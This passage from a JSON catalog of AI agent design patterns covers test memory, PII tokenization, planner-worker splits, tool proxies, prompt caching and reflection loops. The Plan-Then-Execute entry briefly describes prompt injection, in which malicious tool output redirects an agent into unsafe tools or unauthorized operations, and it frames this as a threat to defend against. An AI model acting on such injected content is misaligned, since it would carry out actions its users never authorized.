    "anti_signals": [
      "Agent has only one patching tool",
      "Token budget cannot hold tool documentation in the prompt"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nCoding agents with access to multiple patching or refactoring tools (e.g., text-based `apply_patch`, AST-based refactoring, semantic migration) may choose suboptimal tools if not explicitly guided. This leads to:\n\n- **Unnecessary Complexity:** Agent might use a generic text-replace tool instead of a specialized AST-aware refactoring tool.\n- **Inconsistent Results:** Without explicit instructions, the agent's tool selection can vary unpredictably, hampering reproducibility.\n- **Safety Risks:** Text-based patching on refactoring tasks can break imports, miss references, or introduce syntax errors."
  },
  {
    "title": "Persistent Test Memory Feedback Loop",
    "status": "emerging",
    "authors": [
      "Pranshu Chittora (@pranshuchittora)"
    ],
    "based_on": [
      "Vostride Agent QA (contributor-affiliated implementation)",
      "Shinn et al. (Reflexion)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://github.com/vostride/agent-qa",
    "tags": [
      "testing-agents",
      "persistent-memory",
      "feedback-loop",
      "self-healing",
      "regression-testing"
    ],
    "slug": "persistent-test-memory-feedback-loop",
    "id": "persistent-test-memory-feedback-loop",
    "summary": "Preserve validated test lessons so an agent can reuse successful paths, recognize recurring failures, and retire stale knowledge.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "medium",
    "signals": [
      "Repeated user-flow tests against an evolving interface",
      "The agent repeatedly rediscovers the same navigation or failure cause"
    ],
    "anti_signals": [
      "Stateless one-off checks",
      "Tests whose state or evidence cannot be stored safely"
    ],
    "prerequisites": [
      "A stable scope key for application and environment",
      "Structured run evidence and a pass/fail oracle"
    ],
    "related": [
      "memory-synthesis-from-execution-logs",
      "rich-feedback-loops",
      "workflow-evals-with-mocked-tools"
    ],
    "tools": [
      "test-runner",
      "memory-store",
      "evidence-recorder"
    ],
    "domains": [
      "software-testing",
      "web",
      "mobile"
    ],
    "updated_at": "2026-08-16",
    "excerpt": "\n## Problem\nAn agent that executes end-to-end tests without durable memory starts each run from\nscratch. It repeatedly rediscovers navigation paths, semantic landmarks, and known\nfailure causes. When an interface changes, brittle replay can fail even though the\nuser intent is unchanged.\n\nSaving every trace is not enough. Raw traces contain transient state, sensitive\nvalues, and accidental successes. Replaying them uncritically turns old evidence\ninto a new source of test flakiness."
  },
  {
    "title": "PII Tokenization",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team"
    ],
    "category": "Security & Safety",
    "source": "https://www.anthropic.com/engineering/code-execution-with-mcp",
    "tags": [
      "privacy",
      "pii",
      "security",
      "mcp",
      "data-protection"
    ],
    "slug": "pii-tokenization",
    "id": "pii-tokenization",
    "summary": "Replaces PII in tool results with placeholder tokens before the model sees them and restores the real values in outgoing tool calls",
    "signals": [
      "Agent workflows handle customer, HR, or medical records",
      "Compliance rules such as GDPR, HIPAA, or CCPA apply",
      "Agent routes data between tools without needing to read raw values"
    ],
    "anti_signals": [
      "Agent must reason over the actual content of the sensitive values",
      "Data contains no PII",
      "Tokenization would replace access controls and encryption instead of adding to them"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAI agents often need to process workflows involving personally identifiable information (PII) such as emails, phone numbers, addresses, or financial data. However, sending raw PII through the model's context creates privacy risks and compliance concerns. Organizations need agents to orchestrate data workflows without exposing sensitive information to the LLM."
  },
  {
    "title": "Plan-Then-Execute Pattern",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Luca Beurer-Kellner et al. (2025)",
      "C. Parisien et al. (2024)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "planning",
      "control-flow-integrity",
      "prompt-injection"
    ],
    "slug": "plan-then-execute-pattern",
    "id": "plan-then-execute-pattern",
    "summary": "Has the LLM fix the full sequence of tool calls before it reads untrusted data, then runs that sequence so tool outputs change only parameters",
    "signals": [
      "Tool outputs contain untrusted content that can carry prompt injections",
      "The set of actions is known up front but parameters vary",
      "Complex tasks benefit from a reviewed plan before execution"
    ],
    "anti_signals": [
      "The next action depends on what earlier tool results reveal",
      "Poisoned output content, such as a bad email body, is the main risk",
      "Simple task that a capable model can one-shot"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen planning and execution are interleaved in one loop, untrusted tool outputs can influence which action is selected next. That makes the control flow itself attackable: a malicious intermediate result can redirect the agent into unsafe tools or unauthorized operations."
  },
  {
    "title": "Planner-Worker Separation for Long-Running Agents",
    "status": "emerging",
    "authors": [
      "Cursor Team"
    ],
    "based_on": [
      "Cursor Engineering Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://cursor.com/blog/scaling-agents",
    "tags": [
      "multi-agent",
      "coordination",
      "long-running",
      "hierarchical",
      "parallelism"
    ],
    "slug": "planner-worker-separation-for-long-running-agents",
    "id": "planner-worker-separation-for-long-running-agents",
    "summary": "Splits agents into planners that create tasks, workers that complete them in isolation, and a judge that decides each cycle whether to continue",
    "signals": [
      "Many agents work in parallel on one large codebase for days or weeks",
      "Flat peer agents conflict, duplicate work, or wait on locks",
      "No agent owns hard problems or overall project direction"
    ],
    "anti_signals": [
      "Small task that one agent can finish in a single session",
      "No budget to run many concurrent agents",
      "No orchestration infrastructure for roles and task distribution"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nRunning multiple AI agents in parallel for complex, multi-week projects creates significant coordination challenges:\n\n- **Flat structures** lead to conflicts, duplicated work, and agents stepping on each other\n- **Dynamic coordination** through shared files with locking becomes a bottleneck - most agents spend time waiting rather than working\n- **Equal status** agents become risk-averse, avoiding difficult tasks and making only small, safe changes instead of tackling end-to-end implementation\n- **No agent takes ownership** of hard problems or overall project direction"
  },
  {
    "title": "Policy-Gated Tool Proxy",
    "status": "emerging",
    "authors": [
      "SidClaw Team (@sidclawhq)"
    ],
    "based_on": [
      "MCP Gateway pattern (e2b-dev/awesome-mcp-gateways)",
      "Design Patterns for Securing LLM Agents (Beurer-Kellner et al., ETH Zurich, 2025)"
    ],
    "category": "Security & Safety",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "governance",
      "policy-engine",
      "mcp",
      "audit-trail",
      "tool-proxy",
      "access-control",
      "compliance"
    ],
    "slug": "policy-gated-tool-proxy",
    "id": "policy-gated-tool-proxy",
    "summary": "Insert a transparent proxy between agents and tool servers that evaluates every tool call against a policy engine before forwarding, producing an immutable audit trail of all decisions.",
    "signals": [
      "Different agents need different tool permissions",
      "Regulated environment needs an audit trail of tool calls",
      "Some tool calls need human sign-off before they run",
      "Tool calls go through an interceptable protocol such as MCP, REST, or gRPC"
    ],
    "anti_signals": [
      "Governance rules cannot be defined in advance",
      "Violations only show up across sequences of tool calls",
      "Added latency on every tool call is not acceptable"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAI agents call external tools (databases, APIs, file systems) through protocols like MCP. Once an agent has access to a tool server, it can invoke any tool with any arguments. There is no enforcement layer between \"the agent decided to call this tool\" and \"the tool executed.\" This creates three gaps:\n\n1. **No access control** -- agents can call tools they shouldn't (e.g., production DB delete when only reads are authorized).\n2. **No audit trail** -- when something goes wrong, there's no record of what tool calls were made, by which agent, with what arguments.\n3. **No policy enforcement** -- compliance rules (data residency, PII handling, rate limits) can't be enforced at the tool-call boundary."
  },
  {
    "title": "Precomputed Code Graph Lookup",
    "status": "emerging",
    "authors": [
      "Muthukumaran Navaneethakrishnan (@muthuishere)"
    ],
    "based_on": [
      "Aider repo map (Paul Gauthier)",
      "SCIP / LSIF (Sourcegraph, Microsoft)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/Aider-AI/aider",
    "tags": [
      "code-graph",
      "static-analysis",
      "precomputed-index",
      "impact-analysis",
      "deterministic",
      "tree-sitter",
      "tool-design"
    ],
    "slug": "precomputed-code-graph-lookup",
    "id": "precomputed-code-graph-lookup",
    "summary": "Answer an agent's structural code questions from a precomputed, deterministic graph queried by intent-shaped verbs, instead of a retrieval-time search-and-read loop.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "medium",
    "signals": [
      "Agent burns many turns on grep-then-read chains",
      "Questions are structural: callers, dependents, impact of a change",
      "Answers must be citable and reproducible"
    ],
    "anti_signals": [
      "Small repository the agent can read directly",
      "Questions are literal string sweeps, not structural",
      "Languages or dynamic dispatch the parser cannot resolve"
    ],
    "related": [
      "agentic-search-over-vector-embeddings",
      "curated-code-context-window",
      "agent-powered-codebase-qa-onboarding"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA coding agent asked \"who calls `chargeInvoice`?\" or \"what breaks if I change this signature?\" typically answers by searching: grep a name, read the hits, grep the callers of the callers, read again. Every hop is a tool round-trip whose result the model must interpret, and the chain has three failure modes:\n\n- **It is not reproducible.** The same question asked twice takes different paths and can produce different answers, because the model chooses the next search.\n- **It stops early.** Search returns the first plausible matches; the agent decides it has enough and edits code whose second-order callers it never saw.\n- **Impact questions are not search questions.** \"What breaks if I change this\" is a reverse traversal over a call/import graph. Text search can approximate it for unique names and fails silently for common ones.\n\nThe usual alternatives trade one problem for another. Embedding indexes ([agentic-search-over-vector-embeddings](agentic-search-over-vector-embeddings.md) documents why teams abandon them) add infrastructure and go stale against uncommitted work. Search subagents ([curated-code-context-window](curated-code-context-window.md)) spend an LLM call per question and inherit the model's non-determinism."
  },
  {
    "title": "Proactive Agent State Externalization",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Cognition AI (2025)"
    ],
    "category": "Context & Memory",
    "source": "https://cognition.ai/blog/devin-sonnet-4-5-lessons-and-challenges",
    "tags": [
      "state-externalization",
      "memory-management",
      "self-documentation",
      "note-taking"
    ],
    "slug": "proactive-agent-state-externalization",
    "id": "proactive-agent-state-externalization",
    "summary": "Gives agents note templates, completeness checks, and an external memory fallback so self-written notes keep objectives, decisions, and knowledge gaps",
    "signals": [
      "Agent works on multi-hour or multi-session tasks",
      "Agent already writes its own summary or changelog files",
      "Main agent must pass state to subagents"
    ],
    "anti_signals": [
      "Short single-session tasks",
      "Documentation tokens cost more than the continuity they give"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nModern models like Claude Sonnet 4.5 proactively attempt to externalize their state by writing summaries and notes (e.g., `CHANGELOG.md`, `SUMMARY.md`) to the file system without explicit prompting. However:\n\n- Self-generated notes are often incomplete or miss crucial context\n- Models may spend more tokens on documentation than actual problem-solving\n- Performance can degrade when agents rely exclusively on their own summaries\n- Knowledge gaps emerge from inadequate self-documentation\n- Behavior intensifies near context window limits as a coping mechanism"
  },
  {
    "title": "Proactive Trigger Vocabulary",
    "status": "emerging",
    "authors": [
      "Lucas Carlson"
    ],
    "based_on": [
      "Anthropic (Claude Code)"
    ],
    "category": "UX & Collaboration",
    "source": "https://github.com/anthropics/claude-code",
    "tags": [
      "ux",
      "triggers",
      "intent-detection",
      "skill-routing",
      "natural-language"
    ],
    "slug": "proactive-trigger-vocabulary",
    "id": "proactive-trigger-vocabulary",
    "summary": "Gives each skill an explicit, documented list of trigger phrases and patterns so input routes to skills predictably, with optional proactive activation",
    "signals": [
      "Agent has many skills and must route input to the right one",
      "Users need to know which phrases activate which skill",
      "Some skills should activate without an explicit request"
    ],
    "anti_signals": [
      "Users phrase requests in many ways that a fixed list cannot cover",
      "Team cannot maintain trigger lists as vocabulary changes",
      "Users work in languages where the triggers do not translate"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAgents with many skills face a routing problem: given a user's natural language input, which skill should handle it? Solutions like embedding-based similarity or LLM classification work but are opaque—users don't know what phrases will activate which capabilities.\n\nAdditionally, agents may have skills that should activate *proactively* (without explicit request) when certain topics arise, but without explicit trigger lists, the agent may miss opportunities or activate inappropriately."
  },
  {
    "title": "Progressive Autonomy with Model Evolution",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Claude Code Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "model-evolution",
      "scaffolding",
      "autonomy",
      "system-prompts",
      "capabilities",
      "model-intelligence"
    ],
    "slug": "progressive-autonomy-with-model-evolution",
    "id": "progressive-autonomy-with-model-evolution",
    "summary": "Audits prompts and orchestration after each model upgrade and removes the scaffolding that evals show the new model no longer needs",
    "signals": [
      "A newer, more capable model is in production",
      "System prompts hold instructions written for older model weaknesses",
      "Token cost or latency of scaffolding is noticeable"
    ],
    "anti_signals": [
      "No evals to detect quality loss after removal",
      "Instructions carry domain knowledge or safety constraints",
      "The new model is not yet proven stable in production"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAgent scaffolding built for older models becomes unnecessary overhead as models improve:\n\n- **Prompt bloat**: System prompts accumulate instructions that newer models don't need\n- **Over-engineered flows**: Complex orchestration for tasks models can now handle directly\n- **Wasted tokens**: Paying for instructions the model already knows\n- **Slower execution**: Unnecessary steps add latency\n- **Maintenance burden**: More code to maintain for diminishing benefit\n\nModels improve faster than scaffolding is removed, creating technical debt."
  },
  {
    "title": "Progressive Complexity Escalation",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Vercel AI Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://vercel.com/blog/what-we-learned-building-agents-at-vercel",
    "tags": [
      "capabilities",
      "gradual-rollout",
      "risk-management",
      "evolution",
      "adaptive-systems",
      "complexity-management"
    ],
    "slug": "progressive-complexity-escalation",
    "id": "progressive-complexity-escalation",
    "summary": "Deploys agents on low-complexity, high-reliability tasks first and unlocks higher capability tiers when metrics and human review gates show proven reliability",
    "signals": [
      "Deploying agents into production or regulated domains",
      "New agent capabilities have unproven reliability",
      "Errors in high-stakes operations are costly"
    ],
    "anti_signals": [
      "Full automation value is needed immediately",
      "No metrics or monitoring to decide tier promotion"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nOrganizations deploy AI agents with overly ambitious capabilities from day one, leading to:\n\n- Unreliable outputs when agents tackle tasks beyond current model capabilities\n- Failed implementations that damage stakeholder confidence\n- Complex reasoning tasks producing inconsistent results\n- Wasted engineering effort building infrastructure for capabilities models can't yet deliver\n- Safety risks from autonomous execution of high-stakes operations\n\nThe gap between theoretical agent capabilities and practical reliability creates deployment failures."
  },
  {
    "title": "Progressive Disclosure for Large Files",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (lethain.com)"
    ],
    "category": "Context & Memory",
    "source": "https://lethain.com/agents-large-files/",
    "tags": [
      "progressive-disclosure",
      "large-files",
      "context-optimization",
      "file-management",
      "lazy-loading",
      "file-handling",
      "metadata"
    ],
    "slug": "progressive-disclosure-large-files",
    "id": "progressive-disclosure-for-large-files",
    "summary": "Puts only file metadata in the prompt and gives the agent load, peek, and extract tools to pull file content into context on demand",
    "signals": [
      "Agent works with large PDFs, DOCX files, or images",
      "Files are much bigger than the relevant text they contain",
      "Workflows compare documents or read ticket attachments"
    ],
    "anti_signals": [
      "Files are small enough to load in full",
      "Extra tool round-trips are not acceptable"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nLarge files (PDFs, DOCXs, images) overwhelm the context window when loaded naively. A 5-10MB PDF may contain only 10-20KB of relevant text/tables, but the entire file is often shoved into context, wasting tokens and degrading performance."
  },
  {
    "title": "Progressive Tool Discovery",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.anthropic.com/engineering/code-execution-with-mcp",
    "tags": [
      "mcp",
      "tool-discovery",
      "context-optimization",
      "lazy-loading"
    ],
    "slug": "progressive-tool-discovery",
    "id": "progressive-tool-discovery",
    "summary": "Organizes tools in a browsable hierarchy and lets the agent load names, descriptions, or full schemas only for the tools it needs",
    "signals": [
      "Agent has 20 or more tools or integrations",
      "Tool definitions take a large part of the context window",
      "MCP servers or plugin architectures expose many capabilities"
    ],
    "anti_signals": [
      "Agent needs most of its tools in every workflow",
      "Extra discovery calls before execution are not acceptable"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen agents have access to large tool catalogs (dozens to thousands of available tools), loading all tool definitions upfront consumes excessive context window space. Most tools won't be used in a given workflow, making this preloading wasteful and limiting the context available for actual task execution."
  },
  {
    "title": "Prompt Caching via Exact Prefix Preservation",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Michael Bolin (OpenAI Codex)"
    ],
    "category": "Context & Memory",
    "source": "https://openai.com/index/unrolling-the-codex-agent-loop/",
    "tags": [
      "prompt-caching",
      "exact-prefix",
      "performance",
      "stateless",
      "zero-data-retention",
      "message-ordering",
      "optimization"
    ],
    "slug": "prompt-caching-via-exact-prefix-preservation",
    "id": "prompt-caching-via-exact-prefix-preservation",
    "summary": "Keeps static prompt content first in a fixed order and only appends new messages, including config changes, so each request reuses the cached prefix",
    "signals": [
      "Long agent conversations with many tool calls",
      "Zero Data Retention rules out server-side conversation state",
      "Inference cost or latency grows as history grows"
    ],
    "anti_signals": [
      "Tool list or model must change mid-conversation",
      "Short single-turn requests with little repeated content"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLong-running agent conversations with many tool calls can suffer from **quadratic performance degradation**:\n\n- **Growing JSON payloads**: Each iteration sends the entire conversation history to the API\n- **Expensive re-computation**: Without caching, the model re-processes the same static content repeatedly\n- **ZDR constraints**: Zero Data Retention (ZDR) policies prevent server-side state, ruling out `previous_response_id` optimization\n- **Configuration changes**: Mid-conversation changes (sandbox, tools, working directory) can break cache efficiency\n\nAs conversations grow, inference costs and latency increase quadratically without proper caching strategies."
  },
  {
    "title": "Reasoning-Token Firewall",
    "status": "validated-in-production",
    "authors": [
      "aaronjmars (@aaronjmars)"
    ],
    "based_on": [
      "Aeon harness-adapter (aeonfun/aeon)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/aeonfun/aeon/tree/main/harness-adapter",
    "tags": [
      "reasoning",
      "chain-of-thought",
      "streaming",
      "output-hygiene",
      "safety",
      "harness"
    ],
    "slug": "reasoning-token-firewall",
    "id": "reasoning-token-firewall",
    "summary": "Assemble an agent's result only from answer-typed stream events, never by string-stripping interleaved reasoning tokens.",
    "complexity": "low",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "The harness streams reasoning and answer tokens in one response",
      "The agent's output is committed, stored in memory, or forwarded to users or other agents"
    ],
    "anti_signals": [
      "The model returns a single non-streamed answer with no separate reasoning channel",
      "The provider does not label reasoning and answer chunks reliably"
    ],
    "related": [
      "chain-of-thought-monitoring-interruption",
      "verbose-reasoning-transparency",
      "structured-output-specification"
    ],
    "updated_at": "2026-08-11",
    "excerpt": "\n## Problem\nReasoning models emit two kinds of tokens in one response: private chain-of-thought and the final answer. When a harness builds its \"result\" from the whole stream and then tries to remove the reasoning afterward with string heuristics, it eventually leaks. Reasoning has no stable delimiter, the shape differs per model and per version, and a single missed case commits raw chain-of-thought into a file, a memory store, a notification, or the context of the next agent in the chain.\n\nThat leak is not just cosmetic. Chain-of-thought routinely contains half-formed conclusions, discarded plans, and sensitive scratch data. Once it lands in a durable artifact it is indistinguishable from the intended answer, it inflates memory and context, and it can surface content the model never meant to publish."
  },
  {
    "title": "Recursive Best-of-N Delegation",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Labruno (GitHub)",
      "Daytona RLM Guide",
      "Recursive Language Models (arXiv 2512.24601)",
      "Self-Consistency (Wang et al. 2022)",
      "Tree-of-Thoughts (Yao et al. 2023)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/nibzard/labruno-agent",
    "tags": [
      "recursion",
      "best-of-n",
      "parallel-sandboxes",
      "judge",
      "delegation",
      "rlms",
      "selection",
      "sub-agents"
    ],
    "slug": "recursive-best-of-n-delegation",
    "id": "recursive-best-of-n-delegation",
    "summary": "Runs several parallel candidate workers per subtask in a recursive agent tree, scores them with tests and a judge, and promotes the best result upward",
    "signals": [
      "Subtasks are shardable but each shard can be tricky",
      "Outputs can be scored cheaply with tests, type checks, or lint",
      "One wrong subtask result is costly, as in migrations or large refactors"
    ],
    "anti_signals": [
      "No objective checks exist and judge quality is weak",
      "Cost or latency budget cannot cover multiple attempts per subtask"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nRecursive delegation (parent agent → sub-agents → sub-sub-agents) decomposes big tasks, but has a failure mode:\n\n- A single weak sub-agent result can poison the parent's next steps (wrong assumption, missed file, bad patch)\n- Errors compound up the tree: \"one bad leaf\" can derail the whole rollout\n- Pure recursion underuses parallelism when a node is uncertain: you want multiple shots *right where the ambiguity is*\n\nMeanwhile, \"best-of-N\" parallel attempts help reliability, but without structure they waste compute by repeatedly solving the *same* problem instead of decomposing it. The pattern applies parallelism only where uncertainty exists—at the subtask level—while maintaining structured decomposition."
  },
  {
    "title": "Reflection Loop",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Shinn et al. (2023)"
    ],
    "category": "Feedback Loops",
    "source": "https://arxiv.org/abs/2303.11366",
    "tags": [
      "self-feedback",
      "iterative-improvement",
      "evaluation"
    ],
    "slug": "reflection",
    "id": "reflection-loop",
    "summary": "Scores each draft against a fixed rubric, feeds the critique into a revision, and repeats until the draft passes a threshold or the retry budget ends",
    "signals": [
      "Output must meet explicit quality criteria",
      "Single-pass answers miss edge cases or constraints",
      "Writing, reasoning, or code tasks with a clear scoring metric"
    ],
    "anti_signals": [
      "No well-defined metric to score drafts",
      "Extra compute per answer is not acceptable"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nSingle-pass generation frequently misses edge cases, constraints, or quality criteria that become obvious on review. Without a structured revision loop, agents return the first plausible answer even when a better answer is reachable with lightweight critique."
  },
  {
    "title": "Reliability Problem Map Checklist for RAG and Agents",
    "status": "proposed",
    "authors": [
      "PSBigBig (@onestardao)"
    ],
    "based_on": [
      "WFGY Problem Map (@onestardao)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/onestardao/WFGY/blob/main/ProblemMap/README.md",
    "tags": [
      "reliability",
      "evaluation",
      "rag",
      "agents",
      "debugging",
      "failure-modes",
      "checklist"
    ],
    "slug": "wfgy-reliability-problem-map",
    "id": "reliability-problem-map-checklist-for-rag-and-agents",
    "summary": "Runs a fixed 16-question failure checklist on each RAG or agent incident, maps the result to repair actions, and re-tests the same failing case",
    "signals": [
      "RAG or agent failures are hard to diagnose",
      "Team fixes incidents by changing prompts at random",
      "Team needs a shared vocabulary for failure modes"
    ],
    "anti_signals": [
      "Automated evals and metrics already find root causes",
      "Team will not run the full triage sequence first"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nRAG pipelines and agent systems often fail in ways that are hard to diagnose: missing context, unstable retrieval, brittle tool contracts, and flaky behavior after data updates.\n\nTeams frequently address these failures by iterating on prompts or tuning model settings first, which makes incidents feel random and expensive to fix.\n\nThis pattern addresses the need for a shared, repeatable triage routine that turns vague failures into actionable repair paths. Research shows structured incident data correlates with better reliability outcomes (ACM SIGOPS 2022, IEEE ISSRE 2019)."
  },
  {
    "title": "Rendered UI Finish Gate",
    "status": "emerging",
    "authors": [
      "Samuel Bushi (@samuelbushi)"
    ],
    "based_on": [
      "UIZZE anti-ui-slop workflow (UIZZE)"
    ],
    "category": "Feedback Loops",
    "source": "https://github.com/uizze/uizze/tree/main/skills/anti-ui-slop",
    "tags": [
      "ui-quality",
      "frontend",
      "coding-agents",
      "verification",
      "design-systems",
      "feedback-loops"
    ],
    "slug": "rendered-ui-finish-gate",
    "id": "rendered-ui-finish-gate",
    "summary": "Verify an agent-built interface against its intended design contract, required states, interaction semantics, and rendered output before merging.",
    "complexity": "medium",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "An agent has changed a user-facing interface",
      "Visual regressions are hard to catch in code review",
      "The interface has multiple async, empty, error, or responsive states"
    ],
    "anti_signals": [
      "The change is entirely non-visual",
      "No rendered or interactive output exists to inspect"
    ],
    "domains": [
      "coding",
      "design",
      "frontend"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nCoding agents can produce frontend code that compiles and passes unit tests while still shipping generic, incomplete, or misleading interfaces. Common failures include missing loading and error states, controls that look interactive but do nothing, token drift, inaccessible focus behavior, and responsive layouts that were never rendered at their target widths. A source-only review cannot reliably detect all of these problems."
  },
  {
    "title": "Rich Feedback Loops > Perfect Prompts",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Thorsten Ball",
      "Quinn Slack"
    ],
    "category": "Feedback Loops",
    "source": "https://www.nibzard.com/ampcode",
    "tags": [
      "feedback",
      "testing",
      "reliability",
      "user-feedback",
      "positive-reinforcement",
      "corrections"
    ],
    "slug": "rich-feedback-loops",
    "id": "rich-feedback-loops-perfect-prompts",
    "summary": "Returns compiler errors, test failures, lint output, and human feedback to the agent after each tool call so it can plan fixes and self-correct",
    "signals": [
      "Agent quality improves only after iterative critique or retries",
      "Tools can emit structured errors, exit codes, or test results",
      "Users give frequent positive or corrective feedback"
    ],
    "anti_signals": [
      "No objective signal or tool output to feed back",
      "Runtime and cost of iterative passes are not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nPolishing a single prompt can't cover every edge-case; agents need ground truth to self-correct.\n\nAdditionally, agents need to integrate **human feedback** (positive and corrective) to improve session quality over time. Projects that better respond to user feedback have fewer corrections and better outcomes."
  },
  {
    "title": "RLAIF (Reinforcement Learning from AI Feedback)",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic",
      "Google DeepMind"
    ],
    "category": "Reliability & Eval",
    "source": "https://arxiv.org/abs/2212.08073",
    "tags": [
      "rlhf",
      "rlaif",
      "constitutional-ai",
      "synthetic-data",
      "feedback",
      "alignment",
      "evaluation"
    ],
    "slug": "rlaif-reinforcement-learning-from-ai-feedback",
    "id": "rlaif-reinforcement-learning-from-ai-feedback",
    "summary": "Uses an AI model guided by written principles to critique outputs and label preferences, which train a reward model that optimizes the policy",
    "signals": [
      "Human preference annotation is too expensive or slow to scale",
      "Domain experts for labeling are scarce",
      "Evaluation criteria can be written as explicit principles"
    ],
    "anti_signals": [
      "No capable, well-aligned supervisory model for the target domain",
      "Critical outputs need human validation that AI labels cannot replace"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional Reinforcement Learning from Human Feedback (RLHF) requires extensive human annotation for preference data, which is expensive (often $1+ per annotation), time-consuming, and difficult to scale. This creates a bottleneck in training aligned AI systems, especially when dealing with complex or specialized domains where human expertise is scarce or costly."
  },
  {
    "title": "Sandboxed Tool Authorization",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/agents/tool-policy.ts",
    "tags": [
      "authorization",
      "policy",
      "allowlist",
      "deny-by-default",
      "pattern-matching",
      "subagent-security"
    ],
    "slug": "sandboxed-tool-authorization",
    "id": "sandboxed-tool-authorization",
    "summary": "Filters an agent's tools through deny-first allow and deny patterns, profile presets, and subagent policies that inherit parent restrictions",
    "signals": [
      "Agents with different roles need different tool access",
      "Subagents must get stricter permissions than their parent",
      "Plugin tools must join policies without manual allowlist updates",
      "Development and production need different permissions"
    ],
    "anti_signals": [
      "Single agent with a small, fixed tool set",
      "Team cannot audit many per-agent policies"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTool authorization needs flexibility but also security. Static allowlists don't scale across:\n\n- **Multiple environments**: Development (permissive) vs. production (restrictive)\n- **Different agent roles**: Coding agents need filesystem access; messaging agents shouldn't\n- **Hierarchical delegation**: Subagents should inherit restrictions from parents but with additional constraints\n- **Plugin ecosystems**: External tools need dynamic inclusion without manual allowlist updates\n\nAgents need a policy system that supports pattern matching, deny-by-default semantics, and hierarchical inheritance."
  },
  {
    "title": "Schema Validation Retry with Cross-Step Learning",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Hyperbrowser Team (@hyperbrowserai)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/hyperbrowserai/HyperAgent",
    "tags": [
      "retry",
      "validation",
      "cross-step-learning",
      "structured-output",
      "zod",
      "error-accumulation"
    ],
    "slug": "schema-validation-retry-cross-step-learning",
    "id": "schema-validation-retry-with-cross-step-learning",
    "summary": "Retries failed structured outputs with the validation errors as feedback and adds recent errors from earlier steps to later prompts so mistakes do not repeat",
    "signals": [
      "Multi-step workflow depends on LLM output that matches a schema",
      "A single schema violation ends the whole workflow",
      "The same validation errors repeat across steps"
    ],
    "anti_signals": [
      "The API enforces the schema server-side through structured outputs or tool use",
      "Latency or cost of extra LLM calls is not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLLMs don't always produce valid structured output matching the expected schema. Single-attempt validation leads to task failures even when retry would succeed.\n\nThe issues compound in multi-step workflows:\n\n- **Schema violations**: LLM generates JSON that doesn't match the expected Zod/JSON Schema\n- **One-and-done failure**: Single failed attempt terminates the entire workflow\n- **No learning from mistakes**: Each step repeats the same errors independently\n- **Wasted tokens**: Failed responses still consume context and cost money\n- **Fragile workflows**: Flaky LLM outputs make agents unreliable"
